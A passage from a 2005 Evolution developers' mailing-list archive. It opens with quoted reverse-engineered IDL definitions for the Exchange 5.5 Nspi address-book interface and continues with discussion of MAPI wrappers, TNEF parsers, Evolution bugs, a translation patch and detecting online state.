#define PT_CLSID 0x0048 > > #define PT_BINARY 0x0102 /*(the corresponding ???HDR entry is 4 bytes longer in this case!) 1??? */ > > > > /* MV means MultiValued*/ > > #define PT_MV_I2 0x1002 > > #define PT_MV_LONG 0x1003 > > #define PT_MV_R4 0x1004 > > #define PT_MV_DOUBLE 0x1005 > > #define PT_MV_CURRENCY 0x1006 > > #define PT_MV_APPTIME 0x1007 > > #define PT_MV_I8 0x1014 > > #define PT_MV_STRING8 0x101e > > #define PT_MV_TSTRING 0x101e > > #define PT_MV_UNICODE 0x101f > > #define PT_MV_SYSTIME 0x1040 > > #define PT_MV_CLSID 0x1048 > > #define PT_MV_BINARY 0x1102 > > > > typedef [switch_type(long)] union { > > [case(PT_I2)] short i; > > [case(PT_LONG)] long l; > > [case(PT_BOOLEAN)] short b; > > [case(PT_STRING8)] STRING lpszA; > > [case(PT_BINARY)] EMS_SBinary bin; > > [case(PT_UNICODE)] WSTRING lpszW; > > [case(PT_CLSID), ptr] MAPIUID *lpguid; > > [case(PT_SYSTIME)] EMS_FILETIME ft; > > [case(PT_ERROR)] long err; > > [case(PT_MV_I2)] EMS_SShortArray MVi; > > [case(PT_MV_LONG)] EMS_MULTIVALUE_LONG_STRUCT MVl; > > [case(PT_MV_STRING8)] EMS_SLPSTRArray MVszA; > > [case(PT_MV_BINARY)] EMS_SBinaryArray MVbin; > > [case(PT_MV_CLSID)] EMS_SGuidArray MVguid; > > [case(PT_MV_UNICODE)] EMS_MULTIVALUE_UNICODE_STRUCT MVszW; > > [case(PT_MV_SYSTIME)] EMS_SDateTimeArray MVft; > > [case(PT_NULL)] long null; > > [case(PT_OBJECT)] long object; > > } EMS_SPropValue_CTR; > > > > typedef struct { > > long ulPropTag; > > long dwAlignPad; > > [switch_is(ulPropTag)] EMS_SPropValue_CTR Value; > > } EMS_SPropValue; > > > > typedef struct { > > long ulAdrEntryPad; > > long cValues; > > [size_is(cValues), unique] EMS_SPropValue *lpProps; > > } EMS_SRow; > > > > typedef [unique] EMS_SRow *EMS_SRow_PTR ; > > > > typedef struct { > > long cRows; > > [size_is(cRows)] EMS_SRow aRow[*]; > > } EMS_SRowSet; > > > > typedef [unique] EMS_SRowSet *EMS_SRowSet_PTR ; > > > > long NspiQueryRows( > > [in] emsabp_hnd_t element_69, > > [in] long element_70, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_71, > > [in] long lRows, > > [in, size_is(lRows), unique] long *element_73, > > [in] long element_74, > > [in, ref] EMS_SPropTagArray *element_75, > > [out, ref] EMS_SRowSet_PTR *element_76 > > ); > > > > long NspiSeekEntries( > > [in] emsabp_hnd_t element_77, > > [in] long element_78, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_79, > > [in, ref] EMS_SPropValue *element_80, > > [in, unique] EMS_SPropTagArray *element_81, > > [in, unique] EMS_SPropTagArray *element_82, > > [out, ref] EMS_SRowSet_PTR *element_83 > > ); > > > > typedef [ptr] struct _SRestriction *LPSRestriction; > > > > typedef struct { > > long cRes; > > [size_is(cRes)] LPSRestriction lpRes; > > } EMS_SAndRestriction; > > > > typedef struct { > > long cRes; > > [size_is(cRes)] LPSRestriction lpRes; > > } EMS_SOrRestriction; > > > > typedef struct { > > /* ULONG ulReserved - perhaps an [ignore] property on this one? */ > > LPSRestriction lpRes; > > } EMS_SNotRestriction; > > > > typedef struct { > > long ulFuzzyLevel; > > long ulPropTag; > > [ptr] EMS_SPropValue *lpProp; > > } EMS_SContentRestriction; > > > > typedef struct { > > long relop; > > long ulPropTag; > > [ptr] EMS_SPropValue *lpProp; > > } EMS_SPropertyRestriction; > > > > typedef struct { > > long ulReserved1; > > long ulPropTag; > > long ulReserved2; > > } EMS_SExistRestriction; > > > > typedef struct { > > long relop; > > long ulPropTag; > > long cb; > > } EMS_SSizeRestriction; > > > > typedef struct { > > long relBMR; > > long ulPropTag; > > long ulMask; > > } EMS_SBitMaskRestriction; > > > > typedef struct { > > long relop; > > long ulPropTag1; > > long ulPropTag2; > > } EMS_SComparePropsRestriction; > > > > typedef struct { > > long ulSubObject; > > LPSRestriction lpRes; > > } EMS_SSubRestriction; > > > > typedef struct { > > [unique] MAPIUID *lpguid; > > long ulKind; > > long lID; /* this is actually a union in mapidefs.h */ > > } EMS_MAPINAMEID; > > > > /* Restriction types */ > > #define RES_AND 0U > > #define RES_OR 1U > > #define RES_NOT 2U > > #define RES_CONTENT 3U > > #define RES_PROPERTY 4U > > #define RES_COMPAREPROPS 5U > > #define RES_BITMASK 6U > > #define RES_SIZE 7U > > #define RES_EXIST 8U > > #define RES_SUBRESTRICTION 9U > > #define RES_COMMENT 10U > > > > typedef [switch_type(long)] union { > > [case(RES_AND) ] EMS_SAndRestriction resAnd; > > [case(RES_OR) ] EMS_SOrRestriction resOr; > > [case(RES_NOT) ] EMS_SNotRestriction resNot; > > [case(RES_CONTENT) ] EMS_SContentRestriction resContent; > > [case(RES_PROPERTY) ] EMS_SPropertyRestriction resProperty; > > [case(RES_COMPAREPROPS) ] EMS_SComparePropsRestriction resCompareProps; > > [case(RES_BITMASK) ] EMS_SBitMaskRestriction resBitMask; > > [case(RES_SUBRESTRICTION)] EMS_SSubRestriction resSub; > > [case(RES_SIZE) ] EMS_SSizeRestriction resSize; > > [case(RES_EXIST) ] EMS_SExistRestriction resExist; > > /* case SCommentRestriction is missing! */ > > } EMS_SRestriction_CTR; > > > > typedef struct _SRestriction { > > long rt; > > [switch_is(rt)] EMS_SRestriction_CTR res; > > } EMS_SRestriction; > > > > long NspiGetMatches( > > [in] emsabp_hnd_t element_110, > > [in] long element_111, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_112, > > [in, unique] EMS_SPropTagArray *element_113, > > [in] long element_114, > > [in, unique] EMS_SRestriction *element_115, > > [in, unique] EMS_MAPINAMEID *element_116, > > [in] long element_117, > > [out, ref] EMS_SPropTagArray *element_118, > > [in, ref] EMS_SPropTagArray *element_119, > > [out, ref] EMS_SRowSet_PTR *element_120 > > ); > > > > long NspiResortRestriction( > > [in] emsabp_hnd_t element_121, > > [in] long element_122, > > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_123, > > [in, ref] EMS_SPropTagArray *element_124, > > [in,out, ref] EMS_LPSPropTagArray *element_125 > > ); > > > > typedef struct { > > long element_126; > > [unique, string] char *element_127; > > } EMS_NAME_STRING; > > > > long NspiDNToEph( > > [in] emsabp_hnd_t element_128, > > [in] long element_129, > > [in, ref] EMS_NAME_STRING *element_130, > > [out, ref] EMS_SPropTagArray *element_131 > > ); > > > > long NspiGetPropList( > > [in] emsabp_hnd_t element_132, > > [in] long element_133, > > [in] long element_134, > > [in] long element_135, > > [out, ref] EMS_LPSPropTagArray *element_136 > > ); > > > > long NspiGetProps( > > [in] emsabp_hnd_t element_137, > > [in] long element_138, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_139, > > [in, unique] EMS_SPropTagArray *element_140, > > [out, ref] EMS_SRow_PTR *element_141 > > ); > > > > long NspiCompareDNTs( > > [in] emsabp_hnd_t element_142, > > [in] long element_143, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_144, > > [in] long element_145, > > [in] long element_146, > > [out, ref] long *element_147 > > ); > > > > long NspiModProps( > > [in] emsabp_hnd_t element_148, > > [in] long element_149, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_150, > > [in, unique] EMS_SPropTagArray *element_151, > > [in, ref] EMS_SRow *element_152 > > ); > > > > long NspiGetHierarchyInfo( > > [in] emsabp_hnd_t element_153, > > [in] long element_154, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_155, > > [in,out, ref] long *element_156, > > [out, ref] EMS_SRowSet_PTR *element_157 > > ); > > > > long NspiGetTemplateInfo( > > [in] emsabp_hnd_t element_158, > > [in] long element_159, > > [in] long element_160, > > [in, unique, string] char *element_161, > > [in] long element_162, > > [in] long element_163, > > [out, ref] EMS_SRow_PTR *element_164 > > ); > > > > long NspiModLInkAtt( > > [in] emsabp_hnd_t element_165, > > [in] long element_166, > > [in] long element_167, > > [in] long element_168, > > [in, ref] EMS_SBinaryArray *element_169 > > ); > > > > long NspiDeleteEntries( > > [in] emsabp_hnd_t element_170, > > [in] long element_171, > > [in] long element_172, > > [in, ref] EMS_SBinaryArray *element_173 > > ); > > > > long NspiQueryColumns( > > [in] emsabp_hnd_t element_174, > > [in] long element_175, > > [in] long element_176, > > [out, ref] EMS_LPSPropTagArray *element_177 > > ); > > > > typedef struct { > > long element_178; > > [unique] MAPIUID *element_179; > > } EMS_NAME_CLSID; > > > > typedef [ptr] EMS_NAME_CLSID *EMS_NAME_CLSID_PTR; > > > > long NspiGetNamesFromIDs( > > [in] emsabp_hnd_t element_180, > > [in] long element_181, > > [in, unique] MAPIUID *element_182, > > [in, unique] EMS_SPropTagArray *element_183, > > [out, ref] EMS_LPSPropTagArray *element_184, > > [out, ref] EMS_NAME_CLSID_PTR *element_185 > > ); > > > > long NspiGetIDsFromNames( > > [in] emsabp_hnd_t element_186, > > [in] long element_187, > > [in] long element_188, > > [in] long element_189, > > [in, size_is(element_189), ref] long *element_190, > > [out, ref] EMS_LPSPropTagArray *element_191 > > ); > > > > long NspiResolveNames( > > [in] emsabp_hnd_t element_192, > > [in] long element_193, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_194, > > [in, unique] EMS_SPropTagArray *element_195, > > [in, ref] EMS_NAME_STRING *element_196, > > [out, ref] EMS_LPSPropTagArray *element_197, > > [out, ref] EMS_SRowSet_PTR *element_198 > > ); > > > > typedef struct { > > long element_199; > > [unique, string] WCHAR *element_200; > > } EMS_NAME_UNICODE; > > > > long NspiResolveNamesW( > > [in] emsabp_hnd_t element_201, > > [in] long element_202, > > [in, ref] EMS_MAPI_UNIDENTIFIED *element_203, > > [in, unique] EMS_SPropTagArray *element_204, > > [in, ref] EMS_NAME_UNICODE *element_205, > > [out, ref] EMS_LPSPropTagArray *element_206, > > [out, ref] EMS_SRowSet_PTR *element_207 > > ); > > > > } > > > > _______________________________________________ > > evolution-hackers maillist - evolution-hackers@lists.ximian.com > > http://lists.ximian.com/mailman/listinfo/evolution-hackers > > -- -- http://lkcl.net -- From lkcl@lkcl.net Tue Feb 1 15:05:48 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B1123125553; Tue, 1 Feb 2005 15:05:48 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 20879125557 for ; Tue, 1 Feb 2005 15:05:33 -0500 (EST) Received: from lkcl.net (host81-152-13-251.range81-152.btcentralplus.com [81.152.13.251]) by open.hands.com (Postfix) with ESMTP id B1ED8BFE1; Tue, 1 Feb 2005 20:05:23 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1Cw4RA-0002am-9A; Tue, 01 Feb 2005 20:15:48 +0000 Date: Tue, 1 Feb 2005 20:15:48 +0000 From: Luke Kenneth Casson Leighton To: Jules Colding Cc: Evolution Hackers Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Message-ID: <20050201201548.GL5707@lkcl.net> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1107284298.6737.6.camel@localhost.localdomain> User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=-20.8 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_NJABL,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_MUTT autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, Feb 01, 2005 at 07:58:18PM +0100, Jules Colding wrote: > Hi, > > Why dont you use MAPI directly in Evolution? with due respect - not a chance. i'm interested only in taking EVERY customer of microsoft's away, not just the ones that will be able to convince management to run a third party non-microsoft-sanctioned plugin into their mission-critical known-to-be-bloody-unreliable company's exchange server infrastructure. > Well not MAPI itself, but > the CORBA wrapper for MAPI (www.omesc.com). ooooooo :) let's find OUT! what i am looking for is a similarity between the functions i'm implementing and something in brutus... hmm.... NT_Service/servant_impl/IMsgStureS_impl.cpp looks hopeful... ah ha! this looks familiar: SPropTagArray *tags = NULL; hr = msg_store_->GetProps(tags, flags, &count, &props); SPropTagArray is present in that Nspi IDL file i sent. hmmm... okay.... okay. brutus is basically a proxy server. it therefore has a server front-end (in a documented format) and a client back-end (fronting into MAPI). therefore, whilst it is useful to aid understanding of what is going on, it is not entirely suitable for what i am looking for. if brutus also claimed to have alternative back-ends, implemented at the MAPI interface layer, _then_ it would be suitable, because i could take that code and place it behind the Nspi and the EMSMDB interfaces , and run Outlook 2000 - unmodified - and have it talk to a complete free software exchange 5.5 compatible server. that's my goal. instead, i have found something called otlkcon which implements on the _client_ side a "replacement" for the MAPI api - sort-of. outlook clients still talk "mapi" via this MAPI store plugin, so it implements a MAPI store, and off it goes. i'm hoping to understand enough of this stuff at some point in order to be able to have a hope of blatting a few pieces from some of the plethora of projects around... l. From jpr@novell.com Tue Feb 1 20:17:10 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7B990124170; Tue, 1 Feb 2005 20:17:09 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 32FCB12405B for ; Tue, 1 Feb 2005 20:17:06 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Tue, 01 Feb 2005 18:16:50 -0700 Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) From: JP Rosevear To: Jules Colding Cc: Luke Kenneth Casson Leighton , Evolution Hackers In-Reply-To: <1107284298.6737.6.camel@localhost.localdomain> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> Content-Type: text/plain Date: Tue, 01 Feb 2005 20:16:47 -0500 Message-Id: <1107307007.17674.3.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, 2005-02-01 at 19:58 +0100, Jules Colding wrote: > Hi, > > Why dont you use MAPI directly in Evolution? Well not MAPI itself, but > the CORBA wrapper for MAPI (www.omesc.com). Well reason one is I hadn't heard of it until now :-). Reason two might be this comment from the evolution plugin skeleton in the brutus download: A Brutus server must be running on the Windows side if you want to use this plugin. Please see for the details. This makes it sound like you need a mapi implementation on a windows box somewhere. -JP -- JP Rosevear From pcolijn@gmail.com Tue Feb 1 16:27:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4F14512417D; Tue, 1 Feb 2005 16:27:35 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201]) by lists.ximian.com (Postfix) with ESMTP id 1D57C1240FC for ; Tue, 1 Feb 2005 16:27:32 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 58so441381wri for ; Tue, 01 Feb 2005 13:27:28 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=c/PVFPliXUcX4UwarOcFNb5nRE24sPfovgbkgX2mJ5MXXK5tCg5hik06oa4YC5svgSiTot8E4pzw9zlvmxmXzML5KDNw3JnNvw6A/AMgB8HEgGrTBPVSpREuIn3l65CModfcrBMvmSISp4VuwF4fUG6CswktI3k1yKNgNYq093o= Received: by 10.54.39.17 with SMTP id m17mr314525wrm; Tue, 01 Feb 2005 13:27:28 -0800 (PST) Received: by 10.54.54.67 with HTTP; Tue, 1 Feb 2005 13:27:27 -0800 (PST) Message-ID: <7c35b00e05020113275f998982@mail.gmail.com> Date: Tue, 1 Feb 2005 13:27:27 -0800 From: Peter Colijn Reply-To: Peter Colijn To: Luke Kenneth Casson Leighton Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Cc: evolution-hackers@lists.ximian.com In-Reply-To: <20050201201756.GM5707@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050201150641.GV5707@lkcl.net> <7c35b00e050201105168b14d75@mail.gmail.com> <20050201201756.GM5707@lkcl.net> Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Yeah, there are a lot of TNEF parsers :) As far as I know, WvMapi is one of the rare libraries that can actually encode TNEFs for you, as well as extracting data from them. Have fun, Peter On Tue, 1 Feb 2005 20:17:56 +0000, Luke Kenneth Casson Leighton wrote: > thank you peter! > > there's yTNEF, there's a debian package called tnef, there's KDE tnef, > there's this, that, it's kinda fun :) From w.murray@rl.ac.uk Tue Feb 1 17:28:45 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id EA0DF1241DB; Tue, 1 Feb 2005 17:28:45 -0500 (EST) Received: from nori.rl.ac.uk (nori.rl.ac.uk [130.246.135.154]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id A09701241C1 for ; Tue, 1 Feb 2005 17:28:42 -0500 (EST) X-RAL-MFrom: X-RAL-Connect: Received: from [168.254.0.250] (ACBFECA1.ipt.aol.com [172.191.236.161]) (authenticated bits=0) by nori.rl.ac.uk (8.12.8/8.12.8) with ESMTP id j11MNvrw016887 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Tue, 1 Feb 2005 22:28:33 GMT From: William John Murray To: evolution-hackers@lists.ximian.com In-Reply-To: <1106933217.9069.2.camel@heplnw8> References: <1106933217.9069.2.camel@heplnw8> Content-Type: text/plain Organization: CCLRC Date: Tue, 01 Feb 2005 22:23:51 +0000 Message-Id: <1107296631.6815.6.camel@wjmurray> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-CCLRC-SPAM-report: 0.626 : RCVD_IN_NJABL,RCVD_IN_NJABL_DIALUP,RCVD_IN_SORBS X-Scanned-By: MIMEDefang 2.39 Subject: [Evolution-hackers] 3 issues with 2.1.4 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hello there, Evo 2.1.4 is great with connector; 2.1.3 worked but this is much more stable. But, there are still some issues... 1) Hang on editing a contact on the exchange server I can copy a complete contact, but every attempt to edit one causes an instant hang, not of the whole code, just of the edit window. E2k_DEBUG produces no output. This is with ssl/forms, happens every time 2) Old Settings in gconfd: I spent a long time trying setting with old evo, and my ldap server acount machine name was wrong. So although I could edit the machine no. with preferences, the owa host stored in gconfd pointed to the wrong machine. These gconfd settings are a nuisance - can they not be re-written whenever anything is changed? If not, document them! 3) 10' startup times Sometimes it gets messed up, and has to be re-started. One some of these occasions (and this is really hard to pin down) evolution takes about 10 minutes to start. Really. What is it up to?!? Seriously though, this version is much better; I can really work using it, rather than work on it! Bill From notzed@ximian.com Tue Feb 1 22:06:18 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 3DCF9124955; Tue, 1 Feb 2005 22:06:18 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 192F91248B3 for ; Tue, 1 Feb 2005 22:06:15 -0500 (EST) Received: (qmail 20820 invoked from network); 2 Feb 2005 03:06:13 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 2 Feb 2005 03:06:13 -0000 Subject: Re: [Evolution-hackers] Re: [evolution-patches] patch for #36142: Don't use acronyms as verbs in messages (camel-gpg-context.c) From: Not Zed To: Jorge Bernal Cc: evolution-hackers@lists.ximian.com, evolution-patches In-Reply-To: <200501312053.36697.koke@amedias.org> References: <200501241907.02376.koke@amedias.org> <1106795260.6680.40.camel@lostzed.mmc.com.au> <200501270841.52556.koke@amedias.org> <200501312053.36697.koke@amedias.org> Content-Type: multipart/alternative; boundary="=-JyXektcwxqPtgdhvyrly" Date: Wed, 02 Feb 2005 11:01:16 +0800 Message-Id: <1107313276.9865.51.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-JyXektcwxqPtgdhvyrly Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit I followed up on the bug yesterday. While fixing another bug, I noticed that the error code really is only for system i/o errors - and yet, in all other cases system errors do not contain this extra detail at all. So I simply removed the specific errors and use the generic 'execution failed' + strerror one. This is to help save the translators some work, since the info was quite redundant anyway. So, sorry about having to discard your patch, but I think the new solution is a lot simpler/cleaner and suitable in the long run. Michael On Mon, 2005-01-31 at 20:53 +0100, Jorge Bernal wrote: > El Jueves 27 Enero 2005 08:41, Jorge Bernal escribió: > > El Jueves 27 Enero 2005 04:07, Not Zed escribió: > > > Hmm, sure i suppose, i think there are too many strings to translate, > > > but whatever I guess. > > > > > > You don't need to cc -hackers, but the i18n team need to know of string > > > changes once the patch is in. > > > > Ok, tell me when the patch is committed and I'll write to gnome-i18n. > > > > > Can you commit the patch, or do we need to? > > > > I don't have a CVS account :( > > > > > Thanks, > > > Michael > > What happened to this? > > TIA, > Koke > --=-JyXektcwxqPtgdhvyrly Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
I followed up on the bug yesterday.   While fixing another bug, I noticed that the error code really is only for system i/o errors - and yet, in all other cases system errors do not contain this extra detail at all.  So I simply removed the specific errors and use the generic 'execution failed' + strerror one.  This is to help save the translators some work, since the info was quite redundant anyway.

So, sorry about having to discard your patch, but I think the new solution is a lot simpler/cleaner and suitable in the long run.

Michael

On Mon, 2005-01-31 at 20:53 +0100, Jorge Bernal wrote: 
El Jueves 27 Enero 2005 08:41, Jorge Bernal escribió:
> El Jueves 27 Enero 2005 04:07, Not Zed escribió:
> > Hmm, sure i suppose, i think there are too many strings to translate,
> > but whatever I guess.
> >
> > You don't need to cc -hackers, but the i18n team need to know of string
> > changes once the patch is in.
>
> Ok, tell me when the patch is committed and I'll write to gnome-i18n.
>
> > Can you commit the patch, or do we need to?
>
> I don't have a CVS account :(
>
> > Thanks,
> >  Michael

What happened to this?

TIA,
 Koke
--=-JyXektcwxqPtgdhvyrly-- From notzed@ximian.com Tue Feb 1 22:33:35 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 2FC19124E6D; Tue, 1 Feb 2005 22:33:35 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id E69FD124E61 for ; Tue, 1 Feb 2005 22:33:31 -0500 (EST) Received: (qmail 20880 invoked from network); 2 Feb 2005 03:33:30 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 2 Feb 2005 03:33:30 -0000 Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Not Zed To: JP Rosevear Cc: Sivaiah Nallagatla , =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <1107263506.15530.1.camel@bishop.rosevear.com> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-ze0Ut7xvCvUWFqru5xto" Date: Wed, 02 Feb 2005 11:28:36 +0800 Message-Id: <1107314916.9862.67.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-ze0Ut7xvCvUWFqru5xto Content-Type: text/plain Content-Transfer-Encoding: 7bit > Isn't there a gconf key that determines the state? Or does that just > determine the startup state? The current state is stored in gconf, but it is NOT the appropriate way to determine when it changes. It is private data used by the shell only. --=-ze0Ut7xvCvUWFqru5xto Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit 
Isn't there a gconf key that determines the state?  Or does that just
determine the startup state?

The current state is stored in gconf, but it is NOT the appropriate way to determine when it changes.

It is private data used by the shell only.

--=-ze0Ut7xvCvUWFqru5xto-- From snallagatla@novell.com Wed Feb 2 01:17:33 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 39565124CA0; Wed, 2 Feb 2005 01:17:33 -0500 (EST) Received: from linux.site (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id C7321124BB9 for ; Wed, 2 Feb 2005 01:17:29 -0500 (EST) Received: by linux.site (Postfix, from userid 0) id 061B55BCD2; Wed, 2 Feb 2005 11:41:16 +0530 (IST) Subject: Re: [Evolution-hackers] how to know whether evolution is online From: Sivaiah Nallagatla To: Not Zed Cc: ls@linux.site, =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos , Evolution Hackers mailing list In-Reply-To: <001201c508db$b3535490$0301a8c0@executivesontheweb.local> References: <1107039061.16718.6.camel@localhost.localdomain> <1107239902.9842.4.camel@Gr8-Siva.hathaway> <1107263506.15530.1.camel@bishop.rosevear.com> <001201c508db$b3535490$0301a8c0@executivesontheweb.local> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Wed, 02 Feb 2005 11:41:15 +0530 Message-Id: <1107324676.4106.2.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Wed, 2005-02-02 at 04:00 +0000, Not Zed wrote: > > > Isn't there a gconf key that determines the state? Or does that just > > determine the startup state? > > The current state is stored in gconf, but it is NOT the appropriate > way to determine when it changes. > > It is private data used by the shell only. Oh, Why it is not appropirate?, e-d-s also listnes to this key change to switch between online/offline modes. Siva From colding@omesc.com Wed Feb 2 02:58:46 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id EF3BA124EE8; Wed, 2 Feb 2005 02:58:45 -0500 (EST) Received: from pfepa.post.tele.dk (pfepa.post.tele.dk [195.41.46.235]) by lists.ximian.com (Postfix) with ESMTP id B930E124E68 for ; Wed, 2 Feb 2005 02:58:40 -0500 (EST) Received: from 10.0.23.5 (cpe.atm2-0-1151123.0x50a3535e.odnxx7.customer.tele.dk [80.163.83.94]) by pfepa.post.tele.dk (Postfix) with ESMTP id A0D1B47FE79; Wed, 2 Feb 2005 08:57:54 +0100 (CET) Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) From: Jules Colding To: JP Rosevear Cc: Luke Kenneth Casson Leighton , Evolution Hackers In-Reply-To: <1107307007.17674.3.camel@bishop.rosevear.com> References: <20050201150641.GV5707@lkcl.net> <1107284298.6737.6.camel@localhost.localdomain> <1107307007.17674.3.camel@bishop.rosevear.com> Content-Type: text/plain Date: Wed, 02 Feb 2005 08:57:53 +0100 Message-Id: <1107331073.19114.3.camel@omc-3> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Tue, 2005-02-01 at 20:16 -0500, JP Rosevear wrote: > On Tue, 2005-02-01 at 19:58 +0100, Jules Colding wrote: > > Hi, > > 